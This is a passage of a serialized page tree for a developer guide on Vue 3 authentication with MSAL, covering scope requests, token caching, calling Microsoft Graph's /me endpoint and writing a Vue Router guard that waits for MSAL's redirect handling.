path.",{"type":33,"tag":34,"props":3652,"children":3653},{},[3654,3656,3661,3663,3668],{"type":38,"value":3655},"Request the scopes for the API you are actually calling. A token for ",{"type":33,"tag":41,"props":3657,"children":3659},{"className":3658},[],[3660],{"type":38,"value":340},{"type":38,"value":3662}," won't work against your own API, and asking for every scope up front produces a consent screen that makes users hesitate. If you need a second API later, call ",{"type":33,"tag":41,"props":3664,"children":3666},{"className":3665},[],[3667],{"type":38,"value":3568},{"type":38,"value":3669}," with an override instead of widening the original request:",{"type":33,"tag":357,"props":3671,"children":3673},{"className":506,"code":3672,"language":508,"meta":7,"style":7},"await acquireToken({ scopes: [\"api://your-api-id/Files.Read\"] });\n",[3674],{"type":33,"tag":41,"props":3675,"children":3676},{"__ignoreMap":7},[3677],{"type":33,"tag":367,"props":3678,"children":3679},{"class":369,"line":370},[3680,3686,3690,3694,3698,3702,3706,3710,3715,3719,3723,3727],{"type":33,"tag":367,"props":3681,"children":3683},{"style":3682},"--shiki-default:#BB9AF7;--shiki-default-font-style:italic",[3684],{"type":38,"value":3685},"await",{"type":33,"tag":367,"props":3687,"children":3688},{"style":1124},[3689],{"type":38,"value":3320},{"type":33,"tag":367,"props":3691,"children":3692},{"style":533},[3693],{"type":38,"value":2298},{"type":33,"tag":367,"props":3695,"children":3696},{"style":847},[3697],{"type":38,"value":3372},{"type":33,"tag":367,"props":3699,"children":3700},{"style":380},[3701],{"type":38,"value":825},{"type":33,"tag":367,"props":3703,"children":3704},{"style":533},[3705],{"type":38,"value":3381},{"type":33,"tag":367,"props":3707,"children":3708},{"style":380},[3709],{"type":38,"value":388},{"type":33,"tag":367,"props":3711,"children":3712},{"style":391},[3713],{"type":38,"value":3714},"api://your-api-id/Files.Read",{"type":33,"tag":367,"props":3716,"children":3717},{"style":380},[3718],{"type":38,"value":388},{"type":33,"tag":367,"props":3720,"children":3721},{"style":533},[3722],{"type":38,"value":2928},{"type":33,"tag":367,"props":3724,"children":3725},{"style":533},[3726],{"type":38,"value":2325},{"type":33,"tag":367,"props":3728,"children":3729},{"style":380},[3730],{"type":38,"value":571},{"type":33,"tag":455,"props":3732,"children":3733},{},[3734],{"type":33,"tag":34,"props":3735,"children":3736},{},[3737,3739,3744],{"type":38,"value":3738},"Tokens are cached by MSAL, keyed by scope. Calling ",{"type":33,"tag":41,"props":3740,"children":3742},{"className":3741},[],[3743],{"type":38,"value":3612},{"type":38,"value":3745}," before every request is the correct pattern, not a performance problem. Don't stash the access token in a Pinia store or a cookie and reuse it. Let MSAL own expiry and refresh.",{"type":33,"tag":95,"props":3747,"children":3749},{"id":3748},"calling-microsoft-graph",[3750],{"type":38,"value":3751},"Calling Microsoft Graph",{"type":33,"tag":34,"props":3753,"children":3754},{},[3755,3760,3762,3768],{"type":33,"tag":41,"props":3756,"children":3758},{"className":3757},[],[3759],{"type":38,"value":1764},{"type":38,"value":3761}," exposes a ",{"type":33,"tag":41,"props":3763,"children":3765},{"className":3764},[],[3766],{"type":38,"value":3767},"callMsGraph",{"type":38,"value":3769}," helper for the common case of reading the signed-in user's profile:",{"type":33,"tag":357,"props":3771,"children":3773},{"className":1963,"code":3772,"language":562,"meta":7,"style":7},"\u003Cscript setup lang=\"ts\">\nimport { ref, watch } from \"vue\";\nimport {\n  useMsal,\n  useMsalAuthentication,\n  InteractionType,\n} from \"vue3-msal-plugin\";\n\nconst { callMsGraph } = useMsal();\nconst { result } = useMsalAuthentication(InteractionType.Popup, {\n  scopes: [\"User.Read\"],\n});\n\nconst profile = ref\u003CRecord\u003Cstring, unknown> | null>(null);\n\nwatch(result, async (value) => {\n  if (!value) return;\n  try {\n    profile.value = await callMsGraph(value.accessToken);\n  } catch (e) {\n    console.error(e);\n  }\n});\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cpre v-if=\"profile\">{{ profile }}\u003C/pre>\n\u003C/template>\n",[3774],{"type":33,"tag":41,"props":3775,"children":3776},{"__ignoreMap":7},[3777,3816,3865,3876,3888,3900,3911,3938,3945,3980,4032,4068,4079,4086,4168,4175,4219,4252,4264,4317,4343,4374,4381,4392,4407,4414,4429,4489],{"type":33,"tag":367,"props":3778,"children":3779},{"class":369,"line":370},[3780,3784,3788,3792,3796,3800,3804,3808,3812],{"type":33,"tag":367,"props":3781,"children":3782},{"style":1974},[3783],{"type":38,"value":1977},{"type":33,"tag":367,"props":3785,"children":3786},{"style":1980},[3787],{"type":38,"value":1983},{"type":33,"tag":367,"props":3789,"children":3790},{"style":633},[3791],{"type":38,"value":1988},{"type":33,"tag":367,"props":3793,"children":3794},{"style":633},[3795],{"type":38,"value":1993},{"type":33,"tag":367,"props":3797,"children":3798},{"style":380},[3799],{"type":38,"value":383},{"type":33,"tag":367,"props":3801,"children":3802},{"style":380},[3803],{"type":38,"value":388},{"type":33,"tag":367,"props":3805,"children":3806},{"style":391},[3807],{"type":38,"value":2006},{"type":33,"tag":367,"props":3809,"children":3810},{"style":380},[3811],{"type":38,"value":388},{"type":33,"tag":367,"props":3813,"children":3814},{"style":1974},[3815],{"type":38,"value":2015},{"type":33,"tag":367,"props":3817,"children":3818},{"class":369,"line":402},[3819,3823,3827,3832,3836,3841,3845,3849,3853,3857,3861],{"type":33,"tag":367,"props":3820,"children":3821},{"style":527},[3822],{"type":38,"value":530},{"type":33,"tag":367,"props":3824,"children":3825},{"style":533},[3826],{"type":38,"value":536},{"type":33,"tag":367,"props":3828,"children":3829},{"style":539},[3830],{"type":38,"value":3831},"ref",{"type":33,"tag":367,"props":3833,"children":3834},{"style":380},[3835],{"type":38,"value":593},{"type":33,"tag":367,"props":3837,"children":3838},{"style":539},[3839],{"type":38,"value":3840}," watch",{"type":33,"tag":367,"props":3842,"children":3843},{"style":533},[3844],{"type":38,"value":547},{"type":33,"tag":367,"props":3846,"children":3847},{"style":527},[3848],{"type":38,"value":552},{"type":33,"tag":367,"props":3850,"children":3851},{"style":380},[3852],{"type":38,"value":557},{"type":33,"tag":367,"props":3854,"children":3855},{"style":391},[3856],{"type":38,"value":562},{"type":33,"tag":367,"props":3858,"children":3859},{"style":380},[3860],{"type":38,"value":388},{"type":33,"tag":367,"props":3862,"children":3863},{"style":380},[3864],{"type":38,"value":571},{"type":33,"tag":367,"props":3866,"children":3867},{"class":369,"line":574},[3868,3872],{"type":33,"tag":367,"props":3869,"children":3870},{"style":527},[3871],{"type":38,"value":530},{"type":33,"tag":367,"props":3873,"children":3874},{"style":533},[3875],{"type":38,"value":840},{"type":33,"tag":367,"props":3877,"children":3878},{"class":369,"line":625},[3879,3884],{"type":33,"tag":367,"props":3880,"children":3881},{"style":539},[3882],{"type":38,"value":3883},"  useMsal",{"type":33,"tag":367,"props":3885,"children":3886},{"style":380},[3887],{"type":38,"value":908},{"type":33,"tag":367,"props":3889,"children":3890},{"class":369,"line":681},[3891,3896],{"type":33,"tag":367,"props":3892,"children":3893},{"style":539},[3894],{"type":38,"value":3895},"  useMsalAuthentication",{"type":33,"tag":367,"props":3897,"children":3898},{"style":380},[3899],{"type":38,"value":908},{"type":33,"tag":367,"props":3901,"children":3902},{"class":369,"line":722},[3903,3907],{"type":33,"tag":367,"props":3904,"children":3905},{"style":539},[3906],{"type":38,"value":3346},{"type":33,"tag":367,"props":3908,"children":3909},{"style":380},[3910],{"type":38,"value":908},{"type":33,"tag":367,"props":3912,"children":3913},{"class":369,"line":732},[3914,3918,3922,3926,3930,3934],{"type":33,"tag":367,"props":3915,"children":3916},{"style":533},[3917],{"type":38,"value":1092},{"type":33,"tag":367,"props":3919,"children":3920},{"style":527},[3921],{"type":38,"value":552},{"type":33,"tag":367,"props":3923,"children":3924},{"style":380},[3925],{"type":38,"value":557},{"type":33,"tag":367,"props":3927,"children":3928},{"style":391},[3929],{"type":38,"value":79},{"type":33,"tag":367,"props":3931,"children":3932},{"style":380},[3933],{"type":38,"value":388},{"type":33,"tag":367,"props":3935,"children":3936},{"style":380},[3937],{"type":38,"value":571},{"type":33,"tag":367,"props":3939,"children":3940},{"class":369,"line":766},[3941],{"type":33,"tag":367,"props":3942,"children":3943},{"emptyLinePlaceholder":726},[3944],{"type":38,"value":729},{"type":33,"tag":367,"props":3946,"children":3947},{"class":369,"line":800},[3948,3952,3956,3960,3964,3968,3972,3976],{"type":33,"tag":367,"props":3949,"children":3950},{"style":812},[3951],{"type":38,"value":815},{"type":33,"tag":367,"props":3953,"children":3954},{"style":380},[3955],{"type":38,"value":1854},{"type":33,"tag":367,"props":3957,"children":3958},{"style":633},[3959],{"type":38,"value":1893},{"type":33,"tag":367,"props":3961,"children":3962},{"style":380},[3963],{"type":38,"value":547},{"type":33,"tag":367,"props":3965,"children":3966},{"style":380},[3967],{"type":38,"value":835},{"type":33,"tag":367,"props":3969,"children":3970},{"style":1124},[3971],{"type":38,"value":1906},{"type":33,"tag":367,"props":3973,"children":3974},{"style":533},[3975],{"type":38,"value":1197},{"type":33,"tag":367,"props":3977,"children":3978},{"style":380},[3979],{"type":38,"value":571},{"type":33,"tag":367,"props":3981,"children":3982},{"class":369,"line":808},[3983,3987,3991,3995,3999,4003,4007,4011,4016,4020,4024,4028],{"type":33,"tag":367,"props":3984,"children":3985},{"style":812},[3986],{"type":38,"value":815},{"type":33,"tag":367,"props":3988,"children":3989},{"style":380},[3990],{"type":38,"value":1854},{"type":33,"tag":367,"props":3992,"children":3993},{"style":633},[3994],{"type":38,"value":3294},{"type":33,"tag":367,"props":3996,"children":3997},{"style":380},[3998],{"type":38,"value":547},{"type":33,"tag":367,"props":4000,"children":4001},{"style":380},[4002],{"type":38,"value":835},{"type":33,"tag":367,"props":4004,"children":4005},{"style":1124},[4006],{"type":38,"value":3333},{"type":33,"tag":367,"props":4008,"children":4009},{"style":533},[4010],{"type":38,"value":1131},{"type":33,"tag":367,"props":4012,"children":4013},{"style":374},[4014],{"type":38,"value":4015},"InteractionType",{"type":33,"tag":367,"props":4017,"children":4018},{"style":380},[4019],{"type":38,"value":174},{"type":33,"tag":367,"props":4021,"children":4022},{"style":527},[4023],{"type":38,"value":3355},{"type":33,"tag":367,"props":4025,"children":4026},{"style":380},[4027],{"type":38,"value":593},{"type":33,"tag":367,"props":4029,"children":4030},{"style":533},[4031],{"type":38,"value":840},{"type":33,"tag":367,"props":4033,"children":4034},{"class":369,"line":843},[4035,4040,4044,4048,4052,4056,4060,4064],{"type":33,"tag":367,"props":4036,"children":4037},{"style":847},[4038],{"type":38,"value":4039},"  scopes",{"type":33,"tag":367,"props":4041,"children":4042},{"style":380},[4043],{"type":38,"value":825},{"type":33,"tag":367,"props":4045,"children":4046},{"style":533},[4047],{"type":38,"value":3381},{"type":33,"tag":367,"props":4049,"children":4050},{"style":380},[4051],{"type":38,"value":388},{"type":33,"tag":367,"props":4053,"children":4054},{"style":391},[4055],{"type":38,"value":340},{"type":33,"tag":367,"props":4057,"children":4058},{"style":380},[4059],{"type":38,"value":388},{"type":33,"tag":367,"props":4061,"children":4062},{"style":533},[4063],{"type":38,"value":2928},{"type":33,"tag":367,"props":4065,"children":4066},{"style":380},[4067],{"type":38,"value":908},{"type":33,"tag":367,"props":4069,"children":4070},{"class":369,"line":861},[4071,4075],{"type":33,"tag":367,"props":4072,"children":4073},{"style":533},[4074],{"type":38,"value":1532},{"type":33,"tag":367,"props":4076,"children":4077},{"style":380},[4078],{"type":38,"value":571},{"type":33,"tag":367,"props":4080,"children":4081},{"class":369,"line":911},[4082],{"type":33,"tag":367,"props":4083,"children":4084},{"emptyLinePlaceholder":726},[4085],{"type":38,"value":729},{"type":33,"tag":367,"props":4087,"children":4088},{"class":369,"line":956},[4089,4093,4098,4102,4107,4111,4116,4120,4125,4129,4134,4138,4143,4147,4151,4155,4160,4164],{"type":33,"tag":367,"props":4090,"children":4091},{"style":812},[4092],{"type":38,"value":815},{"type":33,"tag":367,"props":4094,"children":4095},{"style":633},[4096],{"type":38,"value":4097}," profile",{"type":33,"tag":367,"props":4099,"children":4100},{"style":380},[4101],{"type":38,"value":835},{"type":33,"tag":367,"props":4103,"children":4104},{"style":1124},[4105],{"type":38,"value":4106}," ref",{"type":33,"tag":367,"props":4108,"children":4109},{"style":380},[4110],{"type":38,"value":1977},{"type":33,"tag":367,"props":4112,"children":4113},{"style":374},[4114],{"type":38,"value":4115},"Record",{"type":33,"tag":367,"props":4117,"children":4118},{"style":380},[4119],{"type":38,"value":1977},{"type":33,"tag":367,"props":4121,"children":4122},{"style":539},[4123],{"type":38,"value":4124},"string",{"type":33,"tag":367,"props":4126,"children":4127},{"style":380},[4128],{"type":38,"value":593},{"type":33,"tag":367,"props":4130,"children":4131},{"style":539},[4132],{"type":38,"value":4133}," unknown",{"type":33,"tag":367,"props":4135,"children":4136},{"style":380},[4137],{"type":38,"value":2484},{"type":33,"tag":367,"props":4139,"children":4140},{"style":380},[4141],{"type":38,"value":4142}," |",{"type":33,"tag":367,"props":4144,"children":4145},{"style":539},[4146],{"type":38,"value":2938},{"type":33,"tag":367,"props":4148,"children":4149},{"style":380},[4150],{"type":38,"value":2484},{"type":33,"tag":367,"props":4152,"children":4153},{"style":533},[4154],{"type":38,"value":1131},{"type":33,"tag":367,"props":4156,"children":4157},{"style":901},[4158],{"type":38,"value":4159},"null",{"type":33,"tag":367,"props":4161,"children":4162},{"style":533},[4163],{"type":38,"value":1141},{"type":33,"tag":367,"props":4165,"children":4166},{"style":380},[4167],{"type":38,"value":571},{"type":33,"tag":367,"props":4169,"children":4170},{"class":369,"line":985},[4171],{"type":33,"tag":367,"props":4172,"children":4173},{"emptyLinePlaceholder":726},[4174],{"type":38,"value":729},{"type":33,"tag":367,"props":4176,"children":4177},{"class":369,"line":1014},[4178,4182,4186,4190,4194,4199,4203,4207,4211,4215],{"type":33,"tag":367,"props":4179,"children":4180},{"style":1124},[4181],{"type":38,"value":3199},{"type":33,"tag":367,"props":4183,"children":4184},{"style":533},[4185],{"type":38,"value":1131},{"type":33,"tag":367,"props":4187,"children":4188},{"style":374},[4189],{"type":38,"value":3439},{"type":33,"tag":367,"props":4191,"children":4192},{"style":380},[4193],{"type":38,"value":593},{"type":33,"tag":367,"props":4195,"children":4196},{"style":812},[4197],{"type":38,"value":4198}," async",{"type":33,"tag":367,"props":4200,"children":4201},{"style":533},[4202],{"type":38,"value":1215},{"type":33,"tag":367,"props":4204,"children":4205},{"style":1344},[4206],{"type":38,"value":2915},{"type":33,"tag":367,"props":4208,"children":4209},{"style":533},[4210],{"type":38,"value":1141},{"type":33,"tag":367,"props":4212,"children":4213},{"style":633},[4214],{"type":38,"value":1356},{"type":33,"tag":367,"props":4216,"children":4217},{"style":533},[4218],{"type":38,"value":840},{"type":33,"tag":367,"props":4220,"children":4221},{"class":369,"line":1027},[4222,4226,4230,4234,4238,4243,4248],{"type":33,"tag":367,"props":4223,"children":4224},{"style":633},[4225],{"type":38,"value":1369},{"type":33,"tag":367,"props":4227,"children":4228},{"style":533},[4229],{"type":38,"value":1215},{"type":33,"tag":367,"props":4231,"children":4232},{"style":633},[4233],{"type":38,"value":2444},{"type":33,"tag":367,"props":4235,"children":4236},{"style":374},[4237],{"type":38,"value":2915},{"type":33,"tag":367,"props":4239,"children":4240},{"style":533},[4241],{"type":38,"value":4242},") ",{"type":33,"tag":367,"props":4244,"children":4245},{"style":3682},[4246],{"type":38,"value":4247},"return",{"type":33,"tag":367,"props":4249,"children":4250},{"style":380},[4251],{"type":38,"value":571},{"type":33,"tag":367,"props":4253,"children":4254},{"class":369,"line":1044},[4255,4260],{"type":33,"tag":367,"props":4256,"children":4257},{"style":633},[4258],{"type":38,"value":4259},"  try",{"type":33,"tag":367,"props":4261,"children":4262},{"style":533},[4263],{"type":38,"value":840},{"type":33,"tag":367,"props":4265,"children":4266},{"class":369,"line":1074},[4267,4272,4276,4280,4284,4289,4293,4297,4301,4305,4309,4313],{"type":33,"tag":367,"props":4268,"children":4269},{"style":374},[4270],{"type":38,"value":4271},"    profile",{"type":33,"tag":367,"props":4273,"children":4274},{"style":380},[4275],{"type":38,"value":174},{"type":33,"tag":367,"props":4277,"children":4278},{"style":527},[4279],{"type":38,"value":2915},{"type":33,"tag":367,"props":4281,"children":4282},{"style":380},[4283],{"type":38,"value":835},{"type":33,"tag":367,"props":4285,"children":4286},{"style":3682},[4287],{"type":38,"value":4288}," await",{"type":33,"tag":367,"props":4290,"children":4291},{"style":1124},[4292],{"type":38,"value":1893},{"type":33,"tag":367,"props":4294,"children":4295},{"style":533},[4296],{"type":38,"value":1131},{"type":33,"tag":367,"props":4298,"children":4299},{"style":374},[4300],{"type":38,"value":2915},{"type":33,"tag":367,"props":4302,"children":4303},{"style":380},[4304],{"type":38,"value":174},{"type":33,"tag":367,"props":4306,"children":4307},{"style":527},[4308],{"type":38,"value":3516},{"type":33,"tag":367,"props":4310,"children":4311},{"style":533},[4312],{"type":38,"value":1141},{"type":33,"tag":367,"props":4314,"children":4315},{"style":380},[4316],{"type":38,"value":571},{"type":33,"tag":367,"props":4318,"children":4319},{"class":369,"line":1086},[4320,4325,4330,4334,4339],{"type":33,"tag":367,"props":4321,"children":4322},{"style":533},[4323],{"type":38,"value":4324},"  } ",{"type":33,"tag":367,"props":4326,"children":4327},{"style":633},[4328],{"type":38,"value":4329},"catch",{"type":33,"tag":367,"props":4331,"children":4332},{"style":533},[4333],{"type":38,"value":1215},{"type":33,"tag":367,"props":4335,"children":4336},{"style":374},[4337],{"type":38,"value":4338},"e",{"type":33,"tag":367,"props":4340,"children":4341},{"style":533},[4342],{"type":38,"value":1429},{"type":33,"tag":367,"props":4344,"children":4345},{"class":369,"line":1099},[4346,4350,4354,4358,4362,4366,4370],{"type":33,"tag":367,"props":4347,"children":4348},{"style":374},[4349],{"type":38,"value":3490},{"type":33,"tag":367,"props":4351,"children":4352},{"style":380},[4353],{"type":38,"value":174},{"type":33,"tag":367,"props":4355,"children":4356},{"style":1124},[4357],{"type":38,"value":3583},{"type":33,"tag":367,"props":4359,"children":4360},{"style":533},[4361],{"type":38,"value":1131},{"type":33,"tag":367,"props":4363,"children":4364},{"style":374},[4365],{"type":38,"value":4338},{"type":33,"tag":367,"props":4367,"children":4368},{"style":533},[4369],{"type":38,"value":1141},{"type":33,"tag":367,"props":4371,"children":4372},{"style":380},[4373],{"type":38,"value":571},{"type":33,"tag":367,"props":4375,"children":4376},{"class":369,"line":1107},[4377],{"type":33,"tag":367,"props":4378,"children":4379},{"style":533},[4380],{"type":38,"value":1523},{"type":33,"tag":367,"props":4382,"children":4383},{"class":369,"line":1148},[4384,4388],{"type":33,"tag":367,"props":4385,"children":4386},{"style":533},[4387],{"type":38,"value":1532},{"type":33,"tag":367,"props":4389,"children":4390},{"style":380},[4391],{"type":38,"value":571},{"type":33,"tag":367,"props":4393,"children":4394},{"class":369,"line":1156},[4395,4399,4403],{"type":33,"tag":367,"props":4396,"children":4397},{"style":1974},[4398],{"type":38,"value":2382},{"type":33,"tag":367,"props":4400,"children":4401},{"style":1980},[4402],{"type":38,"value":1983},{"type":33,"tag":367,"props":4404,"children":4405},{"style":1974},[4406],{"type":38,"value":2015},{"type":33,"tag":367,"props":4408,"children":4409},{"class":369,"line":1165},[4410],{"type":33,"tag":367,"props":4411,"children":4412},{"emptyLinePlaceholder":726},[4413],{"type":38,"value":729},{"type":33,"tag":367,"props":4415,"children":4416},{"class":369,"line":1204},[4417,4421,4425],{"type":33,"tag":367,"props":4418,"children":4419},{"style":1974},[4420],{"type":38,"value":1977},{"type":33,"tag":367,"props":4422,"children":4423},{"style":1980},[4424],{"type":38,"value":2409},{"type":33,"tag":367,"props":4426,"children":4427},{"style":1974},[4428],{"type":38,"value":2015},{"type":33,"tag":367,"props":4430,"children":4431},{"class":369,"line":1250},[4432,4436,4440,4444,4448,4452,4457,4461,4465,4469,4473,4477,4481,4485],{"type":33,"tag":367,"props":4433,"children":4434},{"style":1974},[4435],{"type":38,"value":2421},{"type":33,"tag":367,"props":4437,"children":4438},{"style":1980},[4439],{"type":38,"value":357},{"type":33,"tag":367,"props":4441,"children":4442},{"style":633},[4443],{"type":38,"value":2431},{"type":33,"tag":367,"props":4445,"children":4446},{"style":380},[4447],{"type":38,"value":383},{"type":33,"tag":367,"props":4449,"children":4450},{"style":380},[4451],{"type":38,"value":388},{"type":33,"tag":367,"props":4453,"children":4454},{"style":374},[4455],{"type":38,"value":4456},"profile",{"type":33,"tag":367,"props":4458,"children":4459},{"style":380},[4460],{"type":38,"value":388},{"type":33,"tag":367,"props":4462,"children":4463},{"style":1974},[4464],{"type":38,"value":2484},{"type":33,"tag":367,"props":4466,"children":4467},{"style":380},[4468],{"type":38,"value":3023},{"type":33,"tag":367,"props":4470,"children":4471},{"style":374},[4472],{"type":38,"value":4097},{"type":33,"tag":367,"props":4474,"children":4475},{"style":380},[4476],{"type":38,"value":3041},{"type":33,"tag":367,"props":4478,"children":4479},{"style":1974},[4480],{"type":38,"value":2382},{"type":33,"tag":367,"props":4482,"children":4483},{"style":1980},[4484],{"type":38,"value":357},{"type":33,"tag":367,"props":4486,"children":4487},{"style":1974},[4488],{"type":38,"value":2015},{"type":33,"tag":367,"props":4490,"children":4491},{"class":369,"line":1295},[4492,4496,4500],{"type":33,"tag":367,"props":4493,"children":4494},{"style":1974},[4495],{"type":38,"value":2382},{"type":33,"tag":367,"props":4497,"children":4498},{"style":1980},[4499],{"type":38,"value":2409},{"type":33,"tag":367,"props":4501,"children":4502},{"style":1974},[4503],{"type":38,"value":2015},{"type":33,"tag":34,"props":4505,"children":4506},{},[4507,4512,4514,4520,4522,4528,4530,4536,4538,4544],{"type":33,"tag":41,"props":4508,"children":4510},{"className":4509},[],[4511],{"type":38,"value":3767},{"type":38,"value":4513}," issues a ",{"type":33,"tag":41,"props":4515,"children":4517},{"className":4516},[],[4518],{"type":38,"value":4519},"GET",{"type":38,"value":4521}," against ",{"type":33,"tag":41,"props":4523,"children":4525},{"className":4524},[],[4526],{"type":38,"value":4527},"https://graph.microsoft.com/v1.0/me",{"type":38,"value":4529}," with the token as a bearer header. That endpoint is hardcoded, so treat it as a ",{"type":33,"tag":41,"props":4531,"children":4533},{"className":4532},[],[4534],{"type":38,"value":4535},"/me",{"type":38,"value":4537}," shortcut rather than a Graph client. For any other Graph resource, use the access token with ",{"type":33,"tag":41,"props":4539,"children":4541},{"className":4540},[],[4542],{"type":38,"value":4543},"fetch",{"type":38,"value":4545}," or the Graph SDK directly. The token is the part that was hard.",{"type":33,"tag":95,"props":4547,"children":4549},{"id":4548},"protecting-routes-with-vue-router",[4550],{"type":38,"value":4551},"Protecting routes with Vue Router",{"type":33,"tag":34,"props":4553,"children":4554},{},[4555],{"type":38,"value":4556},"The obvious guard is wrong in one specific way:",{"type":33,"tag":357,"props":4558,"children":4560},{"className":506,"code":4559,"language":508,"meta":7,"style":7},"// Broken on redirect returns.\nrouter.beforeEach((to) => {\n  if (to.meta.requiresAuth && instance.getAllAccounts().length === 0) {\n    return \"/\";\n  }\n});\n",[4561],{"type":33,"tag":41,"props":4562,"children":4563},{"__ignoreMap":7},[4564,4572,4609,4681,4705,4712],{"type":33,"tag":367,"props":4565,"children":4566},{"class":369,"line":370},[4567],{"type":33,"tag":367,"props":4568,"children":4569},{"style":518},[4570],{"type":38,"value":4571},"// Broken on redirect returns.\n",{"type":33,"tag":367,"props":4573,"children":4574},{"class":369,"line":402},[4575,4579,4583,4588,4592,4597,4601,4605],{"type":33,"tag":367,"props":4576,"children":4577},{"style":374},[4578],{"type":38,"value":1610},{"type":33,"tag":367,"props":4580,"children":4581},{"style":380},[4582],{"type":38,"value":174},{"type":33,"tag":367,"props":4584,"children":4585},{"style":1124},[4586],{"type":38,"value":4587},"beforeEach",{"type":33,"tag":367,"props":4589,"children":4590},{"style":533},[4591],{"type":38,"value":1341},{"type":33,"tag":367,"props":4593,"children":4594},{"style":1344},[4595],{"type":38,"value":4596},"to",{"type":33,"tag":367,"props":4598,"children":4599},{"style":533},[4600],{"type":38,"value":1141},{"type":33,"tag":367,"props":4602,"children":4603},{"style":633},[4604],{"type":38,"value":1356},{"type":33,"tag":367,"props":4606,"children":4607},{"style":533},[4608],{"type":38,"value":840},{"type":33,"tag":367,"props":4610,"children":4611},{"class":369,"line":574},[4612,4616,4620,4624,4628,4632,4636,4641,4645,4649,4653,4657,4661,4665,4669,4673,4677],{"type":33,"tag":367,"props":4613,"children":4614},{"style":633},[4615],{"type":38,"value":1369},{"type":33,"tag":367,"props":4617,"children":4618},{"style":533},[4619],{"type":38,"value":1215},{"type":33,"tag":367,"props":4621,"children":4622},{"style":374},[4623],{"type":38,"value":4596},{"type":33,"tag":367,"props":4625,"children":4626},{"style":380},[4627],{"type":38,"value":174},{"type":33,"tag":367,"props":4629,"children":4630},{"style":374},[4631],{"type":38,"value":885},{"type":33,"tag":367,"props":4633,"children":4634},{"style":380},[4635],{"type":38,"value":174},{"type":33,"tag":367,"props":4637,"children":4638},{"style":527},[4639],{"type":38,"value":4640},"requiresAuth",{"type":33,"tag":367,"props":4642,"children":4643},{"style":633},[4644],{"type":38,"value":1410},{"type":33,"tag":367,"props":4646,"children":4647},{"style":374},[4648],{"type":38,"value":1117},{"type":33,"tag":367,"props":4650,"children":4651},{"style":380},[4652],{"type":38,"value":174},{"type":33,"tag":367,"props":4654,"children":4655},{"style":1124},[4656],{"type":38,"value":1192},{"type":33,"tag":367,"props":4658,"children":4659},{"style":533},[4660],{"type":38,"value":1197},{"type":33,"tag":367,"props":4662,"children":4663},{"style":380},[4664],{"type":38,"value":174},{"type":33,"tag":367,"props":4666,"children":4667},{"style":527},[4668],{"type":38,"value":1229},{"type":33,"tag":367,"props":4670,"children":4671},{"style":633},[4672],{"type":38,"value":1391},{"type":33,"tag":367,"props":4674,"children":4675},{"style":901},[4676],{"type":38,"value":1239},{"type":33,"tag":367,"props":4678,"children":4679},{"style":533},[4680],{"type":38,"value":1429},{"type":33,"tag":367,"props":4682,"children":4683},{"class":369,"line":625},[4684,4689,4693,4697,4701],{"type":33,"tag":367,"props":4685,"children":4686},{"style":3682},[4687],{"type":38,"value":4688},"    return",{"type":33,"tag":367,"props":4690,"children":4691},{"style":380},[4692],{"type":38,"value":557},{"type":33,"tag":367,"props":4694,"children":4695},{"style":391},[4696],{"type":38,"value":2316},{"type":33,"tag":367,"props":4698,"children":4699},{"style":380},[4700],{"type":38,"value":388},{"type":33,"tag":367,"props":4702,"children":4703},{"style":380},[4704],{"type":38,"value":571},{"type":33,"tag":367,"props":4706,"children":4707},{"class":369,"line":681},[4708],{"type":33,"tag":367,"props":4709,"children":4710},{"style":533},[4711],{"type":38,"value":1523},{"type":33,"tag":367,"props":4713,"children":4714},{"class":369,"line":722},[4715,4719],{"type":33,"tag":367,"props":4716,"children":4717},{"style":533},[4718],{"type":38,"value":1532},{"type":33,"tag":367,"props":4720,"children":4721},{"style":380},[4722],{"type":38,"value":571},{"type":33,"tag":34,"props":4724,"children":4725},{},[4726],{"type":38,"value":4727},"On a redirect return, the app remounts and the router guard runs before MSAL has processed the response in the URL. The account cache is still empty, so the guard bounces an authenticated user back to the home page. Await the MSAL startup sequence inside the guard instead:",{"type":33,"tag":357,"props":4729,"children":4731},{"className":506,"code":4730,"language":508,"meta":7,"style":7},"// src/router/guards.ts\nimport type { PublicClientApplication } from \"@azure/msal-browser\";\nimport type { Router } from \"vue-router\";\n\nexport function registerGuard(\n  router: Router,\n  instance: PublicClientApplication,\n) {\n  router.beforeEach(async (to) => {\n    if (!to.meta.requiresAuth) return true;\n\n    // Both are safe to call repeatedly; MSAL no-ops after the first run.\n    await instance.initialize();\n    await instance.handleRedirectPromise();\n\n    if (instance.getAllAccounts().length > 0) return true;\n\n    await instance.loginRedirect({\n      scopes: [\"User.Read\"],\n      redirectStartPage: to.fullPath,\n    });\n    return false;\n  });\n}\n",[4732],{"type":33,"tag":41,"props":4733,"children":4734},{"__ignoreMap":7},[4735,4743,4786,4831,4838,4860,4881,4901,4912,4957,5010,5017,5025,5054,5082,5089,5148,5155,5179,5215,5245,5257,5273,5285],{"type":33,"tag":367,"props":4736,"children":4737},{"class":369,"line":370},[4738],{"type":33,"tag":367,"props":4739,"children":4740},{"style":518},[4741],{"type":38,"value":4742},"// src/router/guards.ts\n",{"type":33,"tag":367,"props":4744,"children":4745},{"class":369,"line":402},[4746,4750,4754,4758,4762,4766,4770,4774,4778,4782],{"type":33,"tag":367,"props":4747,"children":4748},{"style":527},[4749],{"type":38,"value":530},{"type":33,"tag":367,"props":4751,"children":4752},{"style":633},[4753],{"type":38,"value":636},{"type":33,"tag":367,"props":4755,"children":4756},{"style":533},[4757],{"type":38,"value":536},{"type":33,"tag":367,"props":4759,"children":4760},{"style":539},[4761],{"type":38,"value":54},{"type":33,"tag":367,"props":4763,"children":4764},{"style":533},[4765],{"type":38,"value":547},{"type":33,"tag":367,"props":4767,"children":4768},{"style":527},[4769],{"type":38,"value":552},{"type":33,"tag":367,"props":4771,"children":4772},{"style":380},[4773],{"type":38,"value":557},{"type":33,"tag":367,"props":4775,"children":4776},{"style":391},[4777],{"type":38,"value":46},{"type":33,"tag":367,"props":4779,"children":4780},{"style":380},[4781],{"type":38,"value":388},{"type":33,"tag":367,"props":4783,"children":4784},{"style":380},[4785],{"type":38,"value":571},{"type":33,"tag":367,"props":4787,"children":4788},{"class":369,"line":574},[4789,4793,4797,4801,4806,4810,4814,4818,4823,4827],{"type":33,"tag":367,"props":4790,"children":4791},{"style":527},[4792],{"type":38,"value":530},{"type":33,"tag":367,"props":4794,"children":4795},{"style":633},[4796],{"type":38,"value":636},{"type":33,"tag":367,"props":4798,"children":4799},{"style":533},[4800],{"type":38,"value":536},{"type":33,"tag":367,"props":4802,"children":4803},{"style":539},[4804],{"type":38,"value":4805},"Router",{"type":33,"tag":367,"props":4807,